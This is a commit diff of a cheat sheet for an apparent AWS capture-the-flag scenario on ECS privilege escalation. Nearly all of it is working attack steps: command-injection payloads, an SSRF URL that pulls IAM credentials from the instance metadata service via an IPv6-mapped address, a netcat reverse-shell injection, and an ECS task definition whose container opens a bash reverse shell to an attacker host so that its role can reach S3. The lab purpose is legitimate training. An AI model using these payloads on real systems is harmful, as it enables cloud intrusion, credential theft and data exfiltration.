Skip to content

Commit 3c01de3

Browse files
committed
Update scenario's cheat_sheet.md.
1 parent fbd6278 commit 3c01de3

File tree

1 file changed

+91
-42
lines changed

1 file changed

+91
-42
lines changed

scenarios/ecs_privesc_evade_protection/cheat_sheet.md

+91-42
Original file line numberDiff line numberDiff line change
@@ -4,15 +4,17 @@ Go to `http://<ec2_ip_address>`
44

55
### Command Injection
66

7-
```
7+
```bash
8+
# Command Injection on web.
89
; aws s3 ls
910
; aws s3 ls s3://<bucket-name>/
1011
; aws s3 cp s3://<bucket-name>/flag.txt .
1112
; cat flag.txt
1213
```
1314

1415
### SSRF
15-
```
16+
17+
```bash
1618
# SSRF Attack.
1719
http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>
1820

@@ -34,62 +36,109 @@ Go to `http://<ec2_ip_address>`
3436

3537
### SSRF
3638

37-
```
38-
http://<ec2_ip_address>/?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>
39-
aws configure --profile attacker
40-
echo "aws_session_token = <token>" >> ~/.aws/credentials
41-
```
39+
* Using IPv6 to SSRF on web with `http://[::ffff:a9fe:a9fe]/latest/meta-data/iam/security-credentials/<role>`
40+
* Get credentials & using it to your CLI profile.
41+
42+
```bash
43+
aws configure --profile attacker
44+
echo "aws_session_token = <token>" >> ~/.aws/credentials
45+
```
4246

4347
### Command Injection
4448

4549
- prepare another host for revshell attack with `nc -lvp 4000`
46-
- command injection on web with `; nc <ip_address> 4000 -e /bin/sh &`
50+
- command injection on web with `; nc <ip_address> 4000 -e /bin/sh &`nc
4751

4852
### For more information
4953

50-
- more information about iam
54+
- more information about iam.
5155

52-
```
53-
aws sts get-caller-identity
54-
aws iam get-role --role-name <role>
55-
aws iam list-attached-role-policies --role-name <role>
56-
aws iam list-role-policies --role-name <role>
57-
aws iam get-role-policy --role-name <role> --policy-name <policy>
58-
aws iam list-roles
59-
```
56+
```bash
57+
aws sts get-caller-identity
58+
aws iam list-roles
59+
aws iam get-role --role-name <role>
60+
aws iam list-attached-role-policies --role-name <role>
61+
aws iam list-role-policies --role-name <role>
62+
aws iam get-role-policy --role-name <role> --policy-name <policy>
63+
````
6064
61-
- more information about ecs
65+
```bash
66+
aws ecs list-clusters --region <region>
67+
aws ecs describe-clusters --region <region> --clusters <cluster>
68+
aws ecs list-container-instances --region <region> --cluster <cluster_arn>
69+
```
70+
- find available vpc subnets.
6271

63-
```
64-
aws ecs list-clusters --region <region>
65-
aws ecs describe-clusters --region <region> --clusters <cluster>
66-
aws ecs list-container-instances --region <region> --cluster <cluster_arn>
67-
```
72+
```bash
73+
aws ec2 describe-subnets --region <region>
74+
```
6875

6976
### ECS Privesc
7077

71-
* Attacker prepare revshell at other public ip point with `nc -lvp 4000`.
72-
73-
* And now come back to CLI.
74-
75-
```
76-
# ECS Task definition with revshell command.
77-
aws ecs register-task-definition --region <region> --family <task_name> --task-role-arn <task_role_arn> --network-mode "awsvpc" --cpu 256 --memory 512 --requires-compatibilities "[\"FARGATE\"]" --container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/<revshell_ip>/<revshell_port> 0>&1\\\"\"]}]"
78-
79-
# For run-task, find available subnets.
80-
aws ec2 describe-subnets --region <region>
81-
82-
# Run task.
83-
aws ecs run-task --region <region> --task-definition <task_name> --cluster <cluster_arn> --launch-type FARGATE --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"<subnet>\"]}}"
84-
```
85-
After a few minutes, the revshell will be connected by container.
86-
Let's do it on revshell.
78+
1. Attacker prepare revshell at other public ip point with `nc -lvp 4000`.
79+
80+
2. And now come back to CLI.
81+
82+
3. Create an ECS Task Definition JSON File:
83+
84+
Create a file named task-definition.json and include the following content.
85+
Replace `<region>`, `<task_name>`, `<task_role_arn>`, `<revshell_ip>`, and `<revshell_port>` with your actual values.
86+
87+
```json
88+
{
89+
"family": "<task_name>",
90+
"taskRoleArn": "<task_role_arn>",
91+
"networkMode": "awsvpc",
92+
"cpu": "256",
93+
"memory": "512",
94+
"requiresCompatibilities": ["FARGATE"],
95+
"containerDefinitions": [
96+
{
97+
"name": "exfil_creds",
98+
"image": "python:latest",
99+
"entryPoint": ["sh", "-c"],
100+
"command": ["/bin/bash -c \\\"bash -i >& /dev/tcp/<revshell_ip>/<revshell_port> 0>&1\\\""]
101+
}
102+
]
103+
}
104+
```
105+
106+
4. Create an ECS Run Task JSON File.
107+
108+
Create a file named run-task.json and include the following content. Replace `<region>` and `<subnet>` with the actual values for your setup.
109+
110+
```json
111+
{
112+
"launchType": "FARGATE",
113+
"networkConfiguration": {
114+
"awsvpcConfiguration": {
115+
"assignPublicIp": "ENABLED",
116+
"subnets": ["<subnet>"]
117+
}
118+
}
119+
}
120+
```
121+
122+
5. Register Task Definition and Run Task
123+
124+
Now, you can use the AWS CLI with the JSON files to execute the commands.
125+
126+
```bash
127+
# Register task definition
128+
aws ecs register-task-definition --region <region> --cli-input-json file://task-definition.json
129+
130+
# Run task
131+
aws ecs run-task --region <region> --task-definition <task_name> --cluster <cluster_name> --cli-input-json file://run-task.json
132+
```
133+
134+
After a few minutes, the revshell will be connected by container.
135+
Let's access to s3 on revshell.
87136
88137
### Access S3
89138
90-
```
91-
apt-get update
92-
apt-get install awscli
139+
```bash
140+
apt update
141+
apt install awscli
93142
94143
aws s3 ls
95144
aws s3 ls s3://<bucket-name>/

0 commit comments

Comments
 (0)